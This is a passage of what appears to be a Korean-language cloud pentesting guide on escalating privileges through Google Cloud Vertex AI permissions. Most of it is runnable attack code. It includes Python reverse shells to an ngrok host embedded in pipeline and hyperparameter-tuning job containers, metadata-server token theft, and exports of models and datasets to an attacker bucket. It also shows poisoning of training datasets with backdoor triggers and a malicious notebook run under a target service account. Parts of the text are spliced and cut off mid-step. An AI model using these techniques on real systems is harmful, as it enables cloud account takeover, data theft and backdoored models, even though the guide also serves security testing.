curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export”
-d ‘{ “outputConfig”: { “exportFormatId”: “custom-trained”, “artifactDestination”: { “outputUriPrefix”: “gs://your-controlled-bucket/exported-models/” } } }’

Wait for the export operation to complete, then download

gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./

</details>

### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`

임의의 컨테이너로 여러 단계를 실행하는 **ML pipeline jobs**를 생성하여 reverse shell 접근을 통해 권한 상승을 달성할 수 있습니다.

파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 멀티 스테이지 공격을 지원하기 때문에 권한 상승에 특히 강력합니다.

> [!NOTE]
> 파이프라인 루트로 사용할 모두가 쓰기 가능한 GCS 버킷이 필요합니다.

<details>

<summary>Vertex AI SDK 설치</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform

PROJECT_ID = “” REGION = “us-central1” TARGET_SA = “”

Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)

pipeline_spec = { “schemaVersion”: “2.1.0”, “sdkVersion”: “kfp-2.0.0”, “pipelineInfo”: { “name”: “data-processing-pipeline” }, “root”: { “dag”: { “tasks”: { “process-task”: { “taskInfo”: { “name”: “process-task” }, “componentRef”: { “name”: “comp-process” } } } } }, “components”: { “comp-process”: { “executorLabel”: “exec-process” } }, “deploymentSpec”: { “executors”: { “exec-process”: { “container”: { “image”: “python:3.11-slim”, “command”: [“python3”], “args”: [“-c”, “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘4.tcp.eu.ngrok.io’,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([‘/bin/bash’,‘-i’])”] } } } } }

Create the request body

request_body = { “displayName”: “ml-training-pipeline”, “runtimeConfig”: { “gcsOutputDirectory”: “gs://gstorage-name/folder” }, “pipelineSpec”: pipeline_spec, “serviceAccount”: TARGET_SA }

Get access token

token_result = subprocess.run( [“gcloud”, “auth”, “print-access-token”], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()

Submit via REST API

import requests

url = f“https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs“ headers = { “Authorization”: f“Bearer {access_token}“, “Content-Type”: “application/json” }

print(f“Submitting pipeline job to {url}“) response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]: result = response.json() print(f“✓ Pipeline job submitted successfully!“) print(f” Job name: {result.get(‘name’, ‘N/A’)}“) print(f” Check your reverse shell listener for connection“) else: print(f“✗ Error: {response.status_code}“) print(f” {response.text}“)

</details>


### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`

custom training containers를 통해 권한이 상승된 상태로 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 생성합니다.

Hyperparameter tuning jobs는 서로 다른 hyperparameter 값을 가진 여러 training trials를 병렬로 실행할 수 있게 해줍니다. reverse shell 또는 exfiltration 명령을 포함한 악성 컨테이너를 지정하고 이를 privileged service account에 연결하면 privilege escalation을 달성할 수 있습니다.

**Impact**: 대상 service account의 권한(permissions)까지의 완전한 privilege escalation.

<details>

<summary>hyperparameter tuning job 생성 (reverse shell 포함)</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml

# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

curl -s -X GET
-H “Authorization: Bearer $(gcloud auth print-access-token)”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets”

Step 2: Export a dataset to your own bucket using REST API

DATASET_ID=“”

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export”
-d ‘{ “exportConfig”: { “gcsDestination”: {“outputUriPrefix”: “gs://your-controlled-bucket/exported-data/”} } }’

The export operation runs asynchronously and will return an operation ID

Wait a few seconds for the export to complete

Step 3: Download the exported data

gsutil ls -r gs://your-controlled-bucket/exported-data/

Download all exported files

gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

Step 4: View the exported data

The data will be in JSONL format with references to training data locations

cat exported-data//data-.jsonl

The exported data may contain:

- References to training images/files in GCS buckets

- Dataset annotations and labels

- PII (Personally Identifiable Information)

- Sensitive business data

- Internal documents or communications

- Credentials or API keys in text data

</details>


### `aiplatform.datasets.import`

기존 데이터셋에 악성 또는 poisoned 데이터를 가져와 모델 학습을 조작하고 **backdoors를 도입**합니다.

**참고**: 데이터셋 작업에는 REST API 또는 Python SDK가 필요합니다(데이터셋에 대한 gcloud CLI 지원 없음).

학습에 사용되는 데이터셋에 조작된 데이터를 가져오면 공격자는 다음을 수행할 수 있습니다:
- 모델에 backdoors를 도입 (trigger-based misclassification)
- training 데이터를 poison하여 모델 성능을 저하
- 모델이 정보를 leak하도록 데이터 주입
- 특정 입력에 대해 모델 동작을 조작

이 공격은 다음 용도로 사용되는 데이터셋을 목표로 할 때 특히 효과적입니다:
- 이미지 분류 (inject mislabeled images)
- 텍스트 분류 (inject biased or malicious text)
- 객체 탐지 (manipulate bounding boxes)
- 추천 시스템 (inject fake preferences)

<details>

<summary>데이터셋에 poisoned 데이터 가져오기</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import

Upload to GCS

gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb

</details>

<details>

<summary>대상 서비스 계정으로 노트북 실행</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"


curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'

# Monitor job for token in output
# Notebooks execute with the specified service account's permissions